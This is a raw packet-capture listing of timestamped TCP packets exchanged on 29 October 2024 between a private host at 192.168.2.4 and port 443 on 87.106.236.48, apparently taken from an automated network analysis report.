Oct 29, 2024 04:17:33.504288912 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.504455090 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.504470110 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.504537106 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.504915953 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.504930019 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.504978895 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.504991055 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.505666018 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.505685091 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.505724907 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.505743027 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.505765915 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.506391048 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.506403923 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.506460905 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.506474972 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.507472992 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.539269924 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.539283991 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.539349079 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.539362907 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.539423943 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.539789915 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.539803982 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.539864063 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.539877892 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.543488026 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.590770006 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.590790987 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.590869904 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.590890884 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.591483116 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.628170967 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.628185987 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.628240108 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.628253937 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.628283024 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.628305912 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.628583908 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.628598928 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.628658056 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.628670931 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.628720045 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.628938913 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.628952980 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.628998041 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.629009962 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.629275084 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.629654884 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.629668951 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.629719019 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.629731894 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.630259991 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.657905102 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.657960892 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.657983065 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.657995939 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.658025980 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.658046961 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.658092022 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.658152103 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.658175945 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.658185959 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.658211946 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.658235073 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.708144903 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.708189011 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.708338022 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.708338022 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.708355904 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.708478928 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.708498955 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.708520889 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.708527088 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.708573103 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.708573103 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.708580017 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.708602905 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.708636045 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.708653927 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.745699883 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.745718956 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.745767117 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.745779991 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.745809078 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.745827913 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.746347904 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.746366978 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.746409893 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.746422052 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.746447086 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.746464014 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.747065067 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.747083902 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.747118950 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.747131109 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.747155905 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.747208118 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.747775078 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.747800112 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.747860909 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.747878075 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.747905016 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.747922897 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.774147034 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.774193048 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.774223089 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.774240971 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.774266005 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.774286985 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.774844885 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.774885893 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.774909019 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.774920940 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.774946928 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.774966002 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.825658083 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.825720072 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.825766087 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.825782061 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.825812101 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.825829983 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.826256990 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.826308966 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.826335907 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.826348066 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.826373100 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.826392889 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.863440037 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.863482952 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.863523006 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.863538027 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.863565922 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.863744020 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.863874912 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.863914967 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.863943100 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.863955021 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.863986969 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.863986969 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.864543915 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.864582062 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.864613056 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.864624023 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.864650011 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.864669085 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.865261078 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.865300894 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.865330935 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.865343094 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.865367889 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.865384102 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.891583920 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.891627073 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.891659975 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.891674995 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.891706944 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.891726971 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.892206907 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.892246962 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.892277002 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.892306089 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.892330885 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.892381907 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.942985058 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.943002939 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.943054914 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.943069935 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.943094969 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.943120956 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.943846941 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.943872929 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.943912029 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.943922997 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.943953991 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.943953991 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.980899096 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.980937958 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.980971098 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.980984926 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.981012106 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.981096029 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.981309891 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.981350899 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.981372118 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.981404066 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.981429100 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.981448889 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.981847048 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.981887102 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.981906891 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.981925011 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.981947899 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.981947899 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.981975079 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.982332945 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.982372046 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.982402086 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.982414007 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:33.982439995 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:33.982460022 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.008764982 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.008809090 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.008833885 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.008852005 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.008882999 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.008903027 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.009324074 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.009361029 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.009391069 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.009402037 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.009428024 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.009737968 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.009900093 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.009968996 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.010003090 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.010019064 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.010044098 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.010162115 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.060785055 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.060805082 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.060848951 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.060862064 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.060888052 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.060926914 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.098027945 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.098073959 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.098114014 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.098131895 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.098156929 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.098258972 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.098473072 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.098511934 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.098548889 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.098558903 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.098601103 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.098601103 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.099101067 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.099142075 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.099179983 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.099190950 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.099216938 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.099234104 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.099616051 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.099673986 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.099687099 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.099718094 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.099742889 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.099853039 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.100174904 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.100213051 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.100240946 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.100251913 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.100276947 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.100296974 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.126209021 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.126234055 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.126297951 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.126310110 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.126338005 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.126358032 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.126801968 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.126820087 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.126857996 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.126871109 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.126895905 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.126913071 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.127486944 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.127505064 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.127562046 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.127578974 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.127604008 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.127620935 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.178288937 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.178337097 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.178385973 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.178401947 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.178431034 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.178453922 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.215513945 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.215537071 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.215590954 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.215616941 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.215643883 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.215759993 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.216011047 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.216029882 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.216079950 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.216090918 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.216116905 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.216135025 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.216448069 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.216466904 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.216514111 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.216525078 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.216550112 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.216658115 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.216950893 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.216970921 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.217015028 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.217026949 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.217051029 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.217171907 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.217578888 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.217607021 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.217647076 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.217658043 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.217681885 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.217699051 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.218049049 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.218065977 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.218115091 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.218127966 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.218153954 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.218173027 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.243953943 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.243978024 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.244026899 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.244041920 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.244090080 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.244090080 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.244657040 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.244677067 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.244723082 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.244734049 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.244759083 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.244776011 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.290113926 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.290134907 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.290183067 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.290196896 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.290221930 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.290381908 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.296688080 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.296706915 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.296753883 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.296766043 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:34.296792030 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:34.296834946 CET	49761	443	192.168.2.4	87.106.236.48
